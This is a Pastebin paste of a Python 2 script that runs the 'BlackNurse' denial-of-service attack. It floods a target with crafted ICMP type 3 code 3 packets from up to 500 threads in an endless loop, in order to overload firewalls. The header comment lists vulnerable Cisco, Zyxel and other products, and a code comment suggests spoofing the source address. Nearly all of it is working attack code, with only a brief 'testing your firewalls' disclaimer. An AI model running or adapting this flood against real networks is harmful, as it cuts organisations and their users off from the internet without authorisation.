Advertisement
aungpyaythar123

Untitled

Nov 14th, 2016
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.19 KB | None | 0 0
  1. """
  2.   @ Date - 14th November, 2016 (Monday)
  3.   @ Developer - Aung Pyay Thar
  4.   @ This script is written in python 2.
  5.   @ This script automates blacknurse attack which uses ICMP Packets of code 3 and type 3.
  6.   @ Blacknurse attack targets firewalls.
  7.   @ It is a special type of ICMP flooding attack.
  8.   @ Even with a low bandwith, it causes significant CPU load on firewalls,
  9.   @ thereby causing the firewalls to drop so many packets and cut out LAN side from the outer internet.
  10.   @ One thing to note here is that icmp type 3 code 3 can consume more CPU resources on firewalls than other types of icmp  
  11.     packet.      
  12.   @ With this attack vector, even the limited resource from an average computer is enough to bring down a large
  13.     server.    
  14.   @ According to the researches made in Danish TDC SOC, after reaching a threshold of 15 Mbit/s to 18 Mbit/s, firewall
  15.     dropped so many packets and the server went offline.
  16.   @ But ,in the above said research, the firewall recovered as soon as the attack stopped.
  17.   @ The purpose of this script is just for testing your firewalls and routers if they are vulnerable to blacknurse
  18.     attack or not.
  19.   @ I have no responsibility for causing damage on systems that you have not the permission to do so by using this
  20.     script.  
  21.   @ At the time of writing this, the current updated list of products vulnerable to blacknurse is the followings.
  22.   @ - Cisco ASA 5506, 5515, 5525 (default settings)
  23.   @ - Cisco ASA 5550 (Legacy)
  24.   @ - Cisco ASA 5515-X (latest generation)
  25.   @ - Cisco Router 897 (except rate-limited)
  26.   @ - Palo Alto (unverified)
  27.   @ - Sonic Wall (if misconfigured)
  28.   @ - Zyxel NWA3560-N (for wireless attack in LAN)
  29.   @ - Zyxel Zywall USG50
  30. """
  31. import sys
  32. import os
  33. import threading
  34. import socket
  35. import struct
  36. import random
  37.  
  38. class ICMP_header(object):
  39.     def __init__(self):
  40.         self.type = 3
  41.         self.code = 3
  42.         self.checksum = 0
  43.         self.unused = 0
  44.     def craft_header(self):
  45.         self.icmp_header = struct.pack("!2BHL", self.type, self.code, self.checksum, self.unused )
  46.     def get_header(self):
  47.         return self.icmp_header
  48.  
  49. # Why IP Header is necessary here?
  50. # In data section of the "Destination Port Unreachable" ICMP message, a copy of the IPv4 header that causes the error must be included.
  51. # Since we are not dealing with real errors, we have to fake it. XD  
  52. class IP_copy(object):
  53.     def __init__(self, src_ip, dst_ip):
  54.         self.version = 4
  55.         self.ihl = 5
  56.         self.ver_ihl = (self.version << 4) | self.ihl
  57.         self.tos = 0
  58.         self.total_len = 28
  59.         self.id = random.randrange(0, 2 ** 16)
  60.         self.flag_frag = 0
  61.         self.ttl = 64
  62.         self.protocol = 6
  63.         self.checksum = 0
  64.         self.src_ip = socket.inet_aton(src_ip)
  65.         self.dst_ip = socket.inet_aton(dst_ip)
  66.     def craft_header(self):
  67.         self.ip_header = struct.pack("!2B3H2BH4s4s", self.ver_ihl, self.tos, self.total_len, self.id, self.flag_frag,
  68.                                      self.ttl, self.protocol, self.checksum, self.src_ip, self.dst_ip )
  69.     def get_header(self):
  70.         return self.ip_header
  71.  
  72. # Why TCP header here too?
  73. # As said in above, in data section of the error message, the first eight bytes after IPv4 header must be also included.
  74. class TCP_copy(object):
  75.     def __init__(self):
  76.         self.src_port = random.randrange(0, 2 ** 16)
  77.         self.dst_port = random.randrange(0, 2 ** 16)
  78.         self.seq_num = random.randrange(0, 2 ** 32)
  79.     def craft_header(self):
  80.         self.tcp_header = struct.pack("!2HL", self.src_port, self.dst_port, self.seq_num )
  81.     def get_header(self):
  82.         return self.tcp_header
  83.  
  84.  
  85. # just a function for calculating checksum. XP
  86. def calc_checksum(input_str):
  87.     checksum = 0
  88.    
  89.     length = (len(input_str) / 2) * 2
  90.     for i in range(0, length, 2):
  91.         checksum += (ord(input_str[i]) << 8) | ord(input_str[i + 1])
  92.         checksum = (checksum >> 16) + (checksum & 0xffff)
  93.     if length < len(input_str):
  94.         checksum += ord(input_str[-1])
  95.         checksum = (checksum >> 16) + (checksum & 0xffff)
  96.  
  97.     return ~checksum & 0xffff
  98.  
  99.  
  100. # the main function that launches blacknurse attack
  101. def launch_blacknurse(target_ip):
  102.     global packet_sent
  103.  
  104.     s = socket.socket(socket.AF_INET, socket.SOCK_RAW, 1) # socket.getprotobyname("icmp") = 1
  105.    
  106.     my_ip = socket.gethostbyname(socket.gethostname())    # obtain the ip of the machine. Spoof if u want to.
  107.  
  108.     # build icmp header
  109.     icmp_crafter = ICMP_header()
  110.     icmp_crafter.craft_header()
  111.     icmp_header = icmp_crafter.get_header()
  112.  
  113.     # Here comes icmp data. It must include a copy of IPv4 header that causes the error and eight bytes of data
  114.     # after calculating checksum.  
  115.     # craft the fake ip header
  116.     ip_crafter = IP_copy(target_ip, my_ip)
  117.     ip_crafter.craft_header()
  118.     ip_header = ip_crafter.get_header()
  119.  
  120.     # eight bytes of data after IP header. So it is the first eight bytes from TPC header.
  121.     tcp_crafter = TCP_copy()
  122.     tcp_crafter.craft_header()
  123.     tcp_header = tcp_crafter.get_header()
  124.  
  125.     # construct and complete the packet
  126.     icmp_msg = icmp_header + ip_header + tcp_header
  127.     msg_len = len(icmp_msg)
  128.  
  129.     # calculate the checksum. Note that checksum field in ICMP header must be filled with zero before it.
  130.     new_checksum = calc_checksum(icmp_msg)
  131.    
  132.     # divide the packet into three. The middle one is for checksum field
  133.     # and insert the calculated new checksum value into the packet.
  134.     part1, checksum, part2 = struct.unpack("!2sH%ds" % (msg_len - 4), icmp_msg)
  135.     icmp_msg = struct.pack("!2sH%ds" % (msg_len -4), part1, new_checksum, part2)  
  136.    
  137.     # send it to mess things up
  138.     # Don't panic. The source port here is actually the destination port we have to send. Bcoz it is from the copy
  139.     # of the message pretended to be sent from our target that causes the error.    
  140.     s.sendto(icmp_msg, (target_ip, tcp_crafter.src_port) )
  141.     s.close()
  142.     packet_sent += 1
  143.     conn_lock.release()
  144.  
  145.  
  146. if __name__ == "__main__":
  147.     if os.getuid() != 0:
  148.         print "[-] This script must be run as root (uid = 0)."
  149.         exit(1)
  150.     if len(sys.argv) != 2:
  151.         print "usage : python  %s  <target host>" % sys.argv[0]
  152.         exit(2)
  153.  
  154.     conn_lock = threading.BoundedSemaphore(value = 500) # You can specify any thread numbers you want
  155.     packet_sent = 0 # for keeping track of number of packets sent.  
  156.     target_host = sys.argv[1]
  157.  
  158.     try:
  159.         target_ip = socket.gethostbyname(target_host)  
  160.     except socket.gaierror:
  161.         print "[-] hostname cannot be resolved"        
  162.         exit(3)
  163.    
  164.     print "[*] blacknurse attack started"
  165.     while True: # Ctrl-C to the rescue if you want to break out of it. XD
  166.         try:
  167.             conn_lock.acquire()
  168.             each_thread = threading.Thread(target = launch_blacknurse, args = (target_ip,) )
  169.             each_thread.setDaemon(True)
  170.             each_thread.start()
  171.             #sys.stdout.write("%d packet(s) sent\r" % packet_sent) # uncomment it if you want to see how many packets sent
  172.         except KeyboardInterrupt:
  173.             print "\f[*] exit by user"
  174.             exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement